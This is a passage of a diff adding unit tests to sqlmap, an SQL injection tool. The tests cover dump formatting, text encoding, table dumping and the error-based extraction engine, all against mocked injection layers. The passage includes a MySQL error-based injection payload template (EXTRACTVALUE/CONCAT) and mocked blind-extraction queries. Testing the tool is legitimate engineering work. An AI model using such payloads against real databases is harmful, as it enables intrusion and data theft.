where a plain dict would not - and that order must be + # the SAME one CSV uses. Build the input as an OrderedDict so the expectation is fixed, + # then dump the identical data as both JSONL and CSV and compare the column sequences. + def table(): + tv = OrderedDict() + tv["__infos__"] = {"count": 1, "db": "testdb", "table": "t"} + tv["zebra"] = {"length": 1, "values": ["1"]} + tv["alpha"] = {"length": 1, "values": ["2"]} + tv["middle"] = {"length": 1, "values": ["3"]} + return tv + + jsonl_line = [l for l in self._dump(table()).splitlines() if l.strip()][0] + jsonl_order = [k for k, _ in json.loads(jsonl_line, object_pairs_hook=lambda p: p)] + + conf.dumpFormat = DUMP_FORMAT.CSV + csv_path = os.path.join(self.tmp, "testdb", "t.csv") + if os.path.exists(csv_path): + os.remove(csv_path) + self.d.dbTableValues(table()) + with io.open(csv_path, encoding="utf-8") as f: + csv_header = f.read().splitlines()[0] + csv_order = [c.strip() for c in csv_header.split(conf.csvDel)] + + self.assertEqual(jsonl_order, csv_order) + + def test_unicode_value_not_escaped(self): + # ensure_ascii=False keeps multibyte data readable; it must round-trip through json.loads + content = self._dump({ + "__infos__": {"count": 1, "db": "testdb", "table": "t"}, + "name": {"length": 6, "values": [u"\u0107evap"]}, + }) + self.assertEqual(self._rows(content)[0]["name"], u"\u0107evap") + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_encoding.py b/tests/test_encoding.py new file mode 100644 index 00000000000..f6fcd41744a --- /dev/null +++ b/tests/test_encoding.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Core text<->bytes conversions (lib/core/convert.py): getBytes, getUnicode, +getText. (getOrds is covered in test_convert.py.) + +These are called on essentially every request and response, on both Python 2 +and 3, and are the main thing standing between sqlmap and a UnicodeDecodeError +mid-scan. Pinned with known vectors, non-string coercion, and an encoding +round-trip property over multiple charsets. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.convert import getBytes, getUnicode, getText + +RND = random.Random(2024) + + +class TestTypes(unittest.TestCase): + # value+type (not type alone): a stub returning b"" would pass an isinstance-only check, and + # on py3 a getBytes that wrongly returned str would slip past a round-trip on the unicode path + def test_getBytes_returns_bytes(self): + out = getBytes(u"abc") + self.assertIsInstance(out, bytes) + self.assertEqual(out, b"abc") + + def test_getUnicode_returns_unicode(self): + out = getUnicode(b"abc") + self.assertIsInstance(out, type(u"")) + self.assertEqual(out, u"abc") + + def test_getText_returns_native_str(self): + self.assertIsInstance(getText(b"abc"), str) + self.assertEqual(getText(b"abc"), "abc") + + +class TestCoercion(unittest.TestCase): + def test_getUnicode_of_number(self): + self.assertEqual(getUnicode(123), u"123") + + +class TestRoundTrip(unittest.TestCase): + def test_known_utf8(self): + self.assertEqual(getUnicode(getBytes(u"caf\xe9", "utf-8"), "utf-8"), u"caf\xe9") + + def test_property_multi_charset(self): + # printable BMP-ish range, round-trip through utf-8 and latin1-safe subset + for encoding, hi in (("utf-8", 0x2000), ("latin-1", 0x100)): + for _ in range(1000): + s = u"".join(unichr(RND.randint(0, hi - 1)) if sys.version_info[0] < 3 + else chr(RND.randint(0, hi - 1)) for _ in range(RND.randint(0, 16))) + self.assertEqual(getUnicode(getBytes(s, encoding), encoding), s, + msg="round-trip failed (%s): %r" % (encoding, s)) + + +# py2 has unichr, py3 does not; normalize so the file imports cleanly on both +try: + unichr +except NameError: + unichr = chr + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_entries.py b/tests/test_entries.py new file mode 100644 index 00000000000..b4cb78dfbc4 --- /dev/null +++ b/tests/test_entries.py @@ -0,0 +1,806 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for plugins/generic/entries.py (Entries), exercising dumpTable / +dumpAll / dumpFoundTables / dumpFoundColumn by MOCKING the injection layer +(lib.request.inject.getValue) and the dumper. + +No network and no DBMS are involved: conf.direct=True selects the simple inband +branches, or conf.direct=False with a BOOLEAN injection state selects the +inference (blind) branches; inject.getValue is patched to return canned rows in +the exact shape the methods parse, and conf.dumper is replaced with a recording +stub so we can assert on what each method produced (kb.data caches / returned +dicts). Every test restores all touched conf.* / kb.* / patched module attributes +in tearDown so nothing leaks. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms + +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED, PAYLOAD + +import plugins.generic.search as smod +import plugins.generic.entries as emod +import plugins.generic.custom as cmod +import plugins.generic.misc as mmod +from plugins.generic.entries import Entries + + +# --------------------------------------------------------------------------- # +# Helpers/base from tests/test_search_enum.py (inband TestEntries) +# --------------------------------------------------------------------------- # + +class _RecordingDumperSE(object): + """Minimal stand-in for conf.dumper that records calls instead of printing/writing.""" + + def __init__(self): + self.reset() + + def reset(self): + self.listed = [] # (header, elements) + self.dbTablesArg = None + self.dbColumnsArg = None + self.dbTableColumnsArg = None + self.tableValues = [] + + def lister(self, header, elements, content_type=None, sort=True): + self.listed.append((header, list(elements) if elements else [])) + + def dbTables(self, dbTables): + self.dbTablesArg = dbTables + + def dbColumns(self, dbColumnsDict, colConsider, dbs): + self.dbColumnsArg = (dbColumnsDict, colConsider, dbs) + + def dbTableColumns(self, tableColumns, content_type=None): + self.dbTableColumnsArg = tableColumns + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + +class _TestEntriesSE(Entries): + """Entries with cross-mixin collaborators stubbed (forceDbmsEnum/getCurrentDb/getColumns/getTables).""" + + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} # {db: {tbl: {col: type}}} + self.getTablesResult = {} # value assigned to kb.data.cachedTables + self.getColumnsCalls = [] + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + self.getColumnsCalls.append((conf.db, conf.tbl)) + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + kb.data.cachedTables = dict(self.getTablesResult) + + +class _SearchEnumBase(unittest.TestCase): + def setUp(self): + # Save mutated globals + self._saved_conf = {k: conf.get(k) for k in ( + "db", "tbl", "col", "direct", "excludeSysDbs", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", + )} + self._saved_dumper = conf.get("dumper") + self._search_getValue = smod.inject.getValue + self._entries_getValue = emod.inject.getValue + self._search_readInput = smod.readInput + self._entries_readInput = emod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_cachedTables = kb.data.get("cachedTables") + self._saved_dumpedTable = kb.data.get("dumpedTable") + self._saved_dumpKbInt = kb.get("dumpKeyboardInterrupt") + self._saved_permissionFlag = kb.get("permissionFlag") + + set_dbms("MySQL") + conf.direct = True + conf.excludeSysDbs = False + conf.exclude = None + conf.search = True + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumper = _RecordingDumperSE() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + + # Non-interactive prompts: collapse readInput to its default. + def _readInput(message, default=None, checkBatch=True, boolean=False): + if boolean: + return True if (default in (None, 'Y', 'y', True)) else False + return default + smod.readInput = _readInput + emod.readInput = _readInput + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + smod.inject.getValue = self._search_getValue + emod.inject.getValue = self._entries_getValue + smod.readInput = self._search_readInput + emod.readInput = self._entries_readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.data.cachedTables = self._saved_cachedTables + kb.data.dumpedTable = self._saved_dumpedTable + kb.dumpKeyboardInterrupt = self._saved_dumpKbInt + kb.permissionFlag = self._saved_permissionFlag + + +class TestEntries(_SearchEnumBase): + def _entries_with_cols(self, db="testdb", tbl="users", cols=("id", "name")): + e = _TestEntriesSE() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + # --- dumpTable: inband (conf.direct) ------------------------------------ + + def test_dump_table_inband_rows(self): + e = self._entries_with_cols(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + # MySQL inband dump returns a list of [colVal, colVal] rows. + emod.inject.getValue = lambda *a, **k: [["1", "alice"], ["2", "bob"]] + + e.dumpTable() + + dumped = conf.dumper.tableValues[-1] + self.assertEqual(dumped["__infos__"]["count"], 2) + self.assertEqual(dumped["__infos__"]["table"], "users") + self.assertEqual(dumped["__infos__"]["db"], "testdb") + self.assertEqual(list(dumped["id"]["values"]), ["1", "2"]) + self.assertEqual(list(dumped["name"]["values"]), ["alice", "bob"]) + + def test_dump_table_uses_foundData(self): + e = _TestEntriesSE() + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["x"]] + foundData = {"testdb": {"users": {"id": "int"}}} + + e.dumpTable(foundData=foundData) + + # foundData short-circuits column discovery: getColumns must not run. + self.assertEqual(e.getColumnsCalls, []) + self.assertIn("id", conf.dumper.tableValues[-1]) + + def test_dump_table_no_columns_skips(self): + e = _TestEntriesSE() + e.getColumnsResult = {} # discovery yields nothing + conf.db = "testdb" + conf.tbl = "ghost" + conf.col = None + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + # No columns => no values dumped. + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_table_empty_entries(self): + e = self._entries_with_cols(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: None # no rows + + e.dumpTable() + # Nothing retrieved => dumpedTable empty => dbTableValues not called. + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_table_current_db(self): + e = self._entries_with_cols(db="testdb", tbl="users", cols=("id",)) + conf.db = None # triggers getCurrentDb() -> "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["7"]] + + e.dumpTable() + self.assertEqual(conf.db, "testdb") + self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["7"]) + + def test_dump_table_multiple_db_error(self): + e = _TestEntriesSE() + conf.db = "a,b" + conf.tbl = "users" + conf.col = None + from lib.core.exception import SqlmapMissingMandatoryOptionException + self.assertRaises(SqlmapMissingMandatoryOptionException, e.dumpTable) + + def test_dump_table_get_tables_when_no_tbl(self): + e = _TestEntriesSE() + e.getTablesResult = {"testdb": ["users"]} + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + conf.db = "testdb" + conf.tbl = None + conf.col = None + emod.inject.getValue = lambda *a, **k: [["42"]] + + e.dumpTable() + # Tables were discovered via getTables, then the row dumped. + self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["42"]) + + # --- dumpAll: single-db delegation -------------------------------------- + + def test_dump_all_single_db_delegates(self): + e = self._entries_with_cols(db="testdb", tbl="users", cols=("id",)) + # dumpAll with db set & tbl None must delegate straight to dumpTable. + conf.db = "testdb" + conf.tbl = None + conf.col = None + e.getTablesResult = {"testdb": ["users"]} + emod.inject.getValue = lambda *a, **k: [["9"]] + + e.dumpAll() + self.assertTrue(conf.dumper.tableValues) + + +# --------------------------------------------------------------------------- # +# Helpers/base from tests/test_generic_more.py (inband dump branches) +# --------------------------------------------------------------------------- # + +class _RecordingDumperGM(object): + """Recording stand-in for conf.dumper (no printing / file writing).""" + + def __init__(self): + self.tableValues = [] + self.sqlQueries = [] + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + def sqlQuery(self, query, queryRes): + self.sqlQueries.append((query, queryRes)) + + +class _TestEntriesGM(Entries): + """Entries with cross-mixin collaborators stubbed. + + forceDbmsEnum / getCurrentDb / getColumns / getTables are normally supplied by + sibling mixins; we emulate column/table discovery by populating kb.data.cached* + from canned attributes, exactly as the production plugins do. + """ + + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} # assigned to kb.data.cachedColumns + self.getTablesResult = {} # assigned to kb.data.cachedTables + self.getColumnsCalls = [] + self.getTablesCalls = 0 + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + self.getColumnsCalls.append((conf.db, conf.tbl)) + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + self.getTablesCalls += 1 + kb.data.cachedTables = dict(self.getTablesResult) + + +class _GenericBase(unittest.TestCase): + """Snapshot/restore for everything the generic mixins touch.""" + + _CONF_KEYS = ( + "db", "tbl", "col", "direct", "batch", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere", + "tmpPath", "sqlQuery", "sqlFile", "regKey", "regVal", "regData", + "regType", "osPwn", "osShell", "cleanup", "privEsc", + ) + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + + self._saved_getValue = { + emod: emod.inject.getValue, + cmod: cmod.inject.getValue, + mmod: mmod.inject.getValue, + } + self._saved_goStacked = { + cmod: cmod.inject.goStacked, + mmod: mmod.inject.goStacked, + } + self._saved_emod_readInput = emod.readInput + self._saved_mmod_readInput = mmod.readInput + + self._saved_kb = { + "cachedColumns": kb.data.get("cachedColumns"), + "cachedTables": kb.data.get("cachedTables"), + "dumpedTable": kb.data.get("dumpedTable"), + "has_information_schema": kb.data.get("has_information_schema"), + "dumpKeyboardInterrupt": kb.get("dumpKeyboardInterrupt"), + "permissionFlag": kb.get("permissionFlag"), + "hintValue": kb.get("hintValue"), + "injection_data": kb.injection.data, + "bannerFp": kb.get("bannerFp"), + "os": kb.get("os"), + } + self._saved_forceDbms = kb.get("forcedDbms") + + conf.direct = True + conf.batch = True + conf.exclude = None + conf.search = False + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumpWhere = None + conf.dumper = _RecordingDumperGM() + + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.data.has_information_schema = True + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + + def _readInput(message, default=None, checkBatch=True, boolean=False): + if boolean: + return default in (None, 'Y', 'y', True) + return default + + emod.readInput = _readInput + mmod.readInput = _readInput + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + + for mod, fn in self._saved_getValue.items(): + mod.inject.getValue = fn + for mod, fn in self._saved_goStacked.items(): + mod.inject.goStacked = fn + emod.readInput = self._saved_emod_readInput + mmod.readInput = self._saved_mmod_readInput + + kb.data.cachedColumns = self._saved_kb["cachedColumns"] + kb.data.cachedTables = self._saved_kb["cachedTables"] + kb.data.dumpedTable = self._saved_kb["dumpedTable"] + kb.data.has_information_schema = self._saved_kb["has_information_schema"] + kb.dumpKeyboardInterrupt = self._saved_kb["dumpKeyboardInterrupt"] + kb.permissionFlag = self._saved_kb["permissionFlag"] + kb.hintValue = self._saved_kb["hintValue"] + kb.injection.data = self._saved_kb["injection_data"] + kb.bannerFp = self._saved_kb["bannerFp"] + kb.os = self._saved_kb["os"] + kb.forcedDbms = self._saved_forceDbms + + @staticmethod + def _force_os(os_name): + # Backend.setOs only assigns when kb.os is currently None; reset first so + # tests can deterministically pin the back-end OS. + kb.os = None + Backend.setOs(os_name) + + +class TestEntriesDumpTable(_GenericBase): + def _entries(self, db="testdb", tbl="users", cols=("id", "name")): + e = _TestEntriesGM() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + def test_exclude_filters_columns(self): + set_dbms("MySQL") + e = self._entries(cols=("id", "secret")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.exclude = "secret" + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpTable() + dumped = conf.dumper.tableValues[-1] + self.assertIn("id", dumped) + self.assertNotIn("secret", dumped) + + def test_exclude_all_columns_skips(self): + set_dbms("MySQL") + e = self._entries(cols=("secret",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.exclude = "secret" + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + # all columns excluded => "no usable column names" => nothing dumped + self.assertEqual(conf.dumper.tableValues, []) + + def test_dumpwhere_rewrites_query(self): + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.dumpWhere = "id>5" + captured = {} + + def gv(query, *a, **k): + captured["query"] = query + return [["9"]] + + emod.inject.getValue = gv + e.dumpTable() + # agent.whereQuery folds conf.dumpWhere into the dump query + self.assertIn("id>5", captured["query"]) + self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["9"]) + + def test_disablehashing_false_path(self): + # conf.disableHashing False => attackDumpedTable() is invoked; with no + # hashes present it must complete without raising and still emit values. + set_dbms("MySQL") + e = self._entries(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.disableHashing = False + emod.inject.getValue = lambda *a, **k: [["1", "alice"]] + + # Spy on attackDumpedTable: with disableHashing False it MUST be invoked + # after the values are dumped. A recorder replaces it so we can assert the + # call happened (and no real dictionary attack runs). + saved_attack = emod.attackDumpedTable + calls = {"n": 0} + emod.attackDumpedTable = lambda *a, **k: calls.__setitem__("n", calls["n"] + 1) + try: + e.dumpTable() + finally: + emod.attackDumpedTable = saved_attack + + self.assertEqual(calls["n"], 1) + self.assertEqual(conf.dumper.tableValues[-1]["__infos__"]["count"], 1) + + def test_missing_columns_skips_table(self): + # getColumns yields nothing for the targeted table => skip without fetching. + set_dbms("MySQL") + e = _TestEntriesGM() + e.getColumnsResult = {"testdb": {"other": {"id": "int"}}} + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + self.assertEqual(conf.dumper.tableValues, []) + + def test_multiple_tables_one_dumped(self): + set_dbms("MySQL") + e = _TestEntriesGM() + e.getColumnsResult = {"testdb": {"users": {"id": "int"}, "posts": {"pid": "int"}}} + conf.db = "testdb" + conf.tbl = "users,posts" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpTable() + # both tables share the same cachedColumns dict => both dumped + tables = [tv["__infos__"]["table"] for tv in conf.dumper.tableValues] + self.assertIn("users", tables) + self.assertIn("posts", tables) + + def test_metadb_suffix_db(self): + # A db whose name carries the METADB_SUFFIX must not get a "db" prefix in + # kb.dumpTable, and dumping still succeeds. + from lib.core.settings import METADB_SUFFIX + set_dbms("MySQL") + metadb = "x%s" % METADB_SUFFIX + e = self._entries(db=metadb, tbl="t", cols=("c",)) + conf.db = metadb + conf.tbl = "t" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["v"]] + + e.dumpTable() + self.assertEqual(list(conf.dumper.tableValues[-1]["c"]["values"]), ["v"]) + + +class TestEntriesDumpAll(_GenericBase): + def test_dumpall_multiple_dbs_tables(self): + set_dbms("MySQL") + e = _TestEntriesGM() + conf.db = None + conf.tbl = None + conf.col = None + e.getTablesResult = {"db1": ["t1"], "db2": ["t2"]} + # dumpTable re-discovers columns per (db, tbl); supply both. + e.getColumnsResult = { + "db1": {"t1": {"a": "int"}}, + "db2": {"t2": {"b": "int"}}, + } + emod.inject.getValue = lambda *a, **k: [["x"]] + + e.dumpAll() + # Every table contributed a values batch. + self.assertEqual(len(conf.dumper.tableValues), 2) + + def test_dumpall_list_cached_tables(self): + # cachedTables as a bare list => wrapped under {None: [...]}. + set_dbms("MySQL") + e = _TestEntriesGM() + conf.db = None + conf.tbl = None + conf.col = None + + # getTables sets cachedTables; emulate the list shape directly. + class _ListTables(_TestEntriesGM): + def getTables(self_inner, bruteForce=None): + kb.data.cachedTables = ["users"] + + e = _ListTables() + # dumpAll wraps a bare list as {None: [...]}; dumpTable then resolves the + # None db via getCurrentDb() -> "testdb", so columns live under "testdb". + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpAll() + self.assertTrue(conf.dumper.tableValues) + # The bare-list None db must be resolved via getCurrentDb() -> "testdb" + # before the dump; assert the dumped __infos__ carries the real db (not + # None) for the requested "users" table. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + def test_dumpall_exclude_skips_table(self): + set_dbms("MySQL") + e = _TestEntriesGM() + conf.db = None + conf.tbl = None + conf.col = None + conf.exclude = "secret" + e.getTablesResult = {"db1": ["secret", "users"]} + e.getColumnsResult = {"db1": {"users": {"id": "int"}, "secret": {"id": "int"}}} + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpAll() + tables = [tv["__infos__"]["table"] for tv in conf.dumper.tableValues] + self.assertIn("users", tables) + self.assertNotIn("secret", tables) + + +class TestEntriesDumpFound(_GenericBase): + def _entries(self): + e = _TestEntriesGM() + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + return e + + def test_dump_found_tables_yes_all(self): + set_dbms("MySQL") + e = self._entries() + emod.inject.getValue = lambda *a, **k: [["1"]] + # batch readInput -> 'Y' (boolean True) and 'a'/'a' for db/table choices. + e.dumpFoundTables({"testdb": ["users"]}) + self.assertTrue(conf.dumper.tableValues) + # The interactive selection must dump the REQUESTED db/table, not just + # "something": assert the dumped __infos__ maps to testdb.users. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + def test_dump_found_tables_declined(self): + set_dbms("MySQL") + e = self._entries() + + def _no(message, default=None, checkBatch=True, boolean=False): + if boolean: + return False + return default + + emod.readInput = _no + emod.inject.getValue = lambda *a, **k: self.fail("must not dump when declined") + e.dumpFoundTables({"testdb": ["users"]}) + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_found_column_yes_all(self): + set_dbms("MySQL") + e = self._entries() + emod.inject.getValue = lambda *a, **k: [["1"]] + dbs = {"testdb": {"users": {"id": "int"}}} + e.dumpFoundColumn(dbs, foundCols=None, colConsider='1') + self.assertTrue(conf.dumper.tableValues) + # The selection must dump the REQUESTED db/table mapping, not just + # "something": assert the dumped __infos__ maps to testdb.users. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + +# --------------------------------------------------------------------------- # +# Helpers/base from tests/test_generic_enum_more.py (inference branches) +# --------------------------------------------------------------------------- # + +class _RecordingDumperInf(object): + def __init__(self): + self.tableValues = [] + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + +class _TestEntriesInf(Entries): + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} + self.getTablesResult = {} + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + kb.data.cachedTables = dict(self.getTablesResult) + + +class _EntriesBase(unittest.TestCase): + _CONF_KEYS = ("db", "tbl", "col", "direct", "technique", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + self._gv = emod.inject.getValue + self._cbe = emod.inject.checkBooleanExpression + self._readInput = emod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_cachedTables = kb.data.get("cachedTables") + self._saved_dumpedTable = kb.data.get("dumpedTable") + self._saved_dumpKbInt = kb.get("dumpKeyboardInterrupt") + self._saved_permissionFlag = kb.get("permissionFlag") + self._saved_injection_data = kb.injection.data + + set_dbms("MySQL") + conf.direct = False + conf.technique = None + conf.exclude = None + conf.search = False + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumpWhere = None + conf.dumper = _RecordingDumperInf() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + emod.readInput = lambda *a, **k: (k.get("default") if k.get("default") is not None else (a[1] if len(a) > 1 else None)) + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + emod.inject.getValue = self._gv + emod.inject.checkBooleanExpression = self._cbe + emod.readInput = self._readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.data.cachedTables = self._saved_cachedTables + kb.data.dumpedTable = self._saved_dumpedTable + kb.dumpKeyboardInterrupt = self._saved_dumpKbInt + kb.permissionFlag = self._saved_permissionFlag + kb.injection.data = self._saved_injection_data + + +class TestEntriesInference(_EntriesBase): + def _entries(self, db="testdb", tbl="users", cols=("id", "name")): + e = _TestEntriesInf() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + def test_dump_table_inference_column_pivot(self): + # Blind dump (conf.direct=False, BOOLEAN available): a row count, then one + # value per (index, column). Assert the per-column pivoted values match. + set_dbms("MySQL") + e = self._entries(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + # data[index][column] -> value. 2 rows, columns id/name. + data = {0: {"id": "1", "name": "alice"}, 1: {"id": "2", "name": "bob"}} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return "2" # row count + # MySQL blind cell query: 'SELECT FROM testdb.users ORDER BY ... + # LIMIT ,1'. The row index is the LIMIT offset; the column is the + # SELECT projection. + import re as _re + idx = int(_re.search(r"LIMIT\s+(\d+)\s*,\s*1", query).group(1)) + proj = query.split(" FROM ", 1)[0] + col = "name" if "name" in proj else "id" + return data[idx][col] + + emod.inject.getValue = gv + e.dumpTable() + dumped = conf.dumper.tableValues[-1] + self.assertEqual(dumped["__infos__"]["count"], 2) + self.assertEqual(list(dumped["id"]["values"]), ["1", "2"]) + self.assertEqual(list(dumped["name"]["values"]), ["alice", "bob"]) + + def test_dump_table_inference_empty_table(self): + # A zero row count in the inference path yields empty per-column value + # lists and no dbTableValues emission (dumpedTable stays effectively empty). + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + emod.inject.getValue = lambda query, *a, **k: ("0" if k.get("expected") == EXPECTED.INT else self.fail("must not fetch cells for empty table")) + e.dumpTable() + # count 0 => empty entries => nothing dumped + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_table_inference_count_failure_skips(self): + # A non-numeric count in the inference path => the table is skipped with a + # warning, no values dumped. + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return None # count failed + self.fail("must not fetch cells when count failed") + + emod.inject.getValue = gv + e.dumpTable() + self.assertEqual(conf.dumper.tableValues, []) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_error_engine.py b/tests/test_error_engine.py new file mode 100644 index 00000000000..d1323172978 --- /dev/null +++ b/tests/test_error_engine.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The error-based extraction engine (lib/techniques/error/use.py _oneShotErrorUse). + +Error-based SQLi coaxes the DBMS into emitting the target value inside an error +message, wrapped between two random delimiters (kb.chars.start/stop). The engine +fires the payload and pulls the value back out with a regex. We drive the REAL +_oneShotErrorUse against a mock oracle whose "error page" embeds a known secret +between those delimiters, and assert it recovers the value exactly - no live DBMS. + +Requires an error-technique injection context (kb.injection.data[...].vector with +[QUERY], plus the parameter context agent.payload needs). kb.errorChunkLength is +pre-set so the MySQL/MSSQL chunk-length probing loop is skipped. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.datatype import AttribDict +from lib.core.enums import PAYLOAD, PLACE +from lib.request.connect import Connect +import lib.techniques.error.use as eu + + +def _make_vector(): + d = AttribDict() + d.vector = "AND EXTRACTVALUE(1,CONCAT(0x7e,([QUERY]),0x7e))" + d.where = PAYLOAD.WHERE.ORIGINAL + d.comment = "" + d.prefix = "" + d.suffix = "" + return d + + +class TestOneShotErrorUse(unittest.TestCase): + def setUp(self): + self._saved = { + "conf.hexConvert": conf.get("hexConvert"), "conf.charset": conf.get("charset"), + "conf.hashDB": conf.get("hashDB"), "conf.parameters": conf.get("parameters"), + "conf.paramDict": conf.get("paramDict"), "conf.base64Parameter": conf.get("base64Parameter"), + "kb.errorChunkLength": kb.get("errorChunkLength"), "kb.testMode": kb.get("testMode"), + "kb.forceWhere": kb.get("forceWhere"), "kb.technique": kb.get("technique"), + "kb.inj": (kb.injection.place, kb.injection.parameter, kb.injection.data), + "qp": Connect.queryPage, + } + conf.hexConvert = False + 